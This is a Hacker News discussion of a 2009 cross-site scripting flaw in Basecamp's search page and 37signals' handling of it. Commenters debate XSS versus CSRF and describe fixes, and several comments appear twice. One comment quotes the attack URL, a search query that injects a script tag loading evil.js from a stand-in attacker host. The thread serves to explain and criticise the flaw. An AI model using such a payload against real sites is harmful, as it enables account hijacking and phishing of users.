XSS is not a feature(evilpacket.net)
evilpacket.net
XSS is not a feature
http://evilpacket.net/2009/jul/9/basecamp-one-wrong-click/
11 comments
They've also been accused of storing passwords in cleartext: http://news.ycombinator.com/item?id=589852
This was a bug and it has been fixed. We do not consider CRSF attacks to be a feature. This is completely different from allowing legit users to post HTML/JS from inside the application.
We now also have a dedicated email address and public key for reporting any similar issues. See http://37signals.com/security.
We now also have a dedicated email address and public key for reporting any similar issues. See http://37signals.com/security.
What's visible of the "evil" URL, at 1:52, looks like: http;//andyet.basecamphq.com/search?global=true&scope=all&terms=%3Cscript+src%3d%22http;//evilsite.com/evil.js... (: replaced with ; so news.YC doesn't shorten link)
This is a lack of filtering of a search input on the search page, not the bug they submitted - that one included injecting HTML/JS by logged in users onto "internal" pages. Conflating the two is disingenuous, at best.
Good news is that a fix for this vulnerability -filtering the search box's inputs- will take about 30 seconds for someone familiar with the code base and ~5 minutes for a brand new intern.
This is a lack of filtering of a search input on the search page, not the bug they submitted - that one included injecting HTML/JS by logged in users onto "internal" pages. Conflating the two is disingenuous, at best.
Good news is that a fix for this vulnerability -filtering the search box's inputs- will take about 30 seconds for someone familiar with the code base and ~5 minutes for a brand new intern.
it will fix that one particular blind xss vulnerability, but from 37signals' response ("[their] users find great value in it") it sounds like they are allowing arbitrary html and javascript to be run everywhere else on the site.
other vulnerabilities would probably require that one has a basecamp account to be able to post messages to the site or something, but they allow privilege escalation and need to be fixed just the same.
37signals' response that users should be trusted is just stupid. think of a customer logging into their vendor's basecamp site, being able to take over the vendor's account and then see all of their other customers.
users (and their input) should never be trusted. even if you trust the users, you can't always guarantee that the trusted user is the one in control of their web browser.
other vulnerabilities would probably require that one has a basecamp account to be able to post messages to the site or something, but they allow privilege escalation and need to be fixed just the same.
37signals' response that users should be trusted is just stupid. think of a customer logging into their vendor's basecamp site, being able to take over the vendor's account and then see all of their other customers.
users (and their input) should never be trusted. even if you trust the users, you can't always guarantee that the trusted user is the one in control of their web browser.
think of a customer logging into their vendor's basecamp site, being able to take over the vendor's account and then see all of their other customers.
Sounds like a customer I don't want. Money is great and all, but if a customer is going to hack my Basecamp account, then I don't want to work for them anymore.
I don't think "your users should be trusted" is a ridiculous way to look at things. Technology can't solve some problems.
Sounds like a customer I don't want. Money is great and all, but if a customer is going to hack my Basecamp account, then I don't want to work for them anymore.
I don't think "your users should be trusted" is a ridiculous way to look at things. Technology can't solve some problems.
> Technology can't solve some problems.
It can solve this one, though.
It can solve this one, though.
Yeah... from personal experience, if an app is intentionally or unintentionally built without XSS or CSRF protection, a complete fix-up of a codebase as large as Basecamp is pretty expensive. Granted there are solutions that take care of 99% of the vulnerabilities, but the amount of testing/debugging/coding to close that 1% gap is huge.
Especially when you're still required to churn out new features in parallel.
Especially when you're still required to churn out new features in parallel.
Fixing CSRF is pretty formulaic. You can probably do it across your whole codebase using nothing but sed. Stick a copy of your session cookie as a hidden field in every HTML form, and validate it as the first step of every form processing routine. The only time you need to introduce anything more thoughtful is if in some cases cross-site requests really are a feature, e.g. API calls.
Rails has built-in Request Forgery Protection. Seems Basecamp runs on a legacy version of Rails, which don't harness these features..
[deleted]
37signals is such a great company.. I really wish they would put a little thought and effort toward security.
I believe --- for a bunch of reasons --- that they do put thought and effort into security. I think they often come to the wrong conclusions. We still rely on them, but we're careful about how.
Force the user to supply a password to change email or other important information might help, but this XSS vulnerability is still pretty bad as you can make all kinds of phishing-style attacks.
Samy is my hero.
This looks like cross site request forgery to me. Not an xss issue which you notified 37 signals about.
From another site, he executed javascript on a basecamp account with an open session. Sounds pretty XSS to me.
Yes the javascript on a separate site the he controls made http requests acting as the logged in user. It has nothing to do with being able to write html and javascript on a basecamp page.
http://en.wikipedia.org/wiki/Cross-site_request_forgery
There are lots of sites that are vulnerable to this.
this is really a silly semantic discussion; either way the vulnerabilities should be fixed.
but this is xss, not csrf/xsrf. in the video he directs the user to a search page with a query containing javascript. the javascript runs in the basecamphq scope and changes the contents of the page to hide everything else and just show the image, which presumably has an onclick or something that pulls in the xsrf token and when clicked, forces the user to change his login data.
since rails has built-in xsrf protection i find it hard to imagine a 37signals site is still vulnerable to blind xsrf attacks. if they are still allowing arbitrary javascript to run and are putting the xsrf token in a javascript variable somewhere (which is commonly needed for ajax operations that post), then the protection doesn't do them much good. they need to stop allowing arbitrary javascript to be executed.
i can't think of a good reason why they need to allow the full set of html tags and javascript to run on their user sites. they should be sanitizing all of the output and only allowing a whitelist of tags and attributes that can't do any harm.
but this is xss, not csrf/xsrf. in the video he directs the user to a search page with a query containing javascript. the javascript runs in the basecamphq scope and changes the contents of the page to hide everything else and just show the image, which presumably has an onclick or something that pulls in the xsrf token and when clicked, forces the user to change his login data.
since rails has built-in xsrf protection i find it hard to imagine a 37signals site is still vulnerable to blind xsrf attacks. if they are still allowing arbitrary javascript to run and are putting the xsrf token in a javascript variable somewhere (which is commonly needed for ajax operations that post), then the protection doesn't do them much good. they need to stop allowing arbitrary javascript to be executed.
i can't think of a good reason why they need to allow the full set of html tags and javascript to run on their user sites. they should be sanitizing all of the output and only allowing a whitelist of tags and attributes that can't do any harm.
In my understanding the video highlights 2 problems:
a) csrf: Basecamp search results page could reject input that didn't originate from the respective search box. But it's useful to be able to send someone a link that will perform a search - it isn't a state changing operation after all. So everyone allows that.
b) xss: the main problem of course is that the search results page prints the search input without any filtering...
a) csrf: Basecamp search results page could reject input that didn't originate from the respective search box. But it's useful to be able to send someone a link that will perform a search - it isn't a state changing operation after all. So everyone allows that.
b) xss: the main problem of course is that the search results page prints the search input without any filtering...
Without the XSRF, the "XSS" wouldn't be exploitable. Without the "XSS", the XSRF would still be exploitable. This is an XSRF attack.
It's not a silly discussion, but it is academic. The vulnerability should be fixed.
It's not a silly discussion, but it is academic. The vulnerability should be fixed.
I see this as an XSS, not a CSRF. The search form is a GET form, and GET forms are /designed/ for cross-site requests - you can link to them to trigger an action, but it's not a forgery since there's no expectation that a GET request was initiated by the same site (people are expected to bookmark them, after all). The POST requests that manipulate the user's account are taking place from within the same domain, driven by the JavaScript that was injected using XSS. You could call them a forgery, but they're not a cross-site forgery since they originate on the same site.
All XSS holes are automatically CSRF holes, since XSS can be used to work around all forms of CSRF protection.
All XSS holes are automatically CSRF holes, since XSS can be used to work around all forms of CSRF protection.
CSRF is just the beginning so that the full effects of the XSS attack can take place.
Who's to say the javascript he posted doesn't exist somewhere in the account where other members are now going to pull it up, thereby running it on their own accounts, creating a bigger mess.
Who's to say the javascript he posted doesn't exist somewhere in the account where other members are now going to pull it up, thereby running it on their own accounts, creating a bigger mess.
[deleted]
Basecamp is not a bank.
That's ridiculous. People use Basecamp to run their businesses, which are the source of all their future income, which, in most cases, is more valuable than your current bank account balance.
'Twas a joke (I myself run a significant portion of by business through Basecamp so what you argue is pretty apparent). The "X is not a bank" thing is a joke about sites with cavalier attitudes toward security.
it was for myspace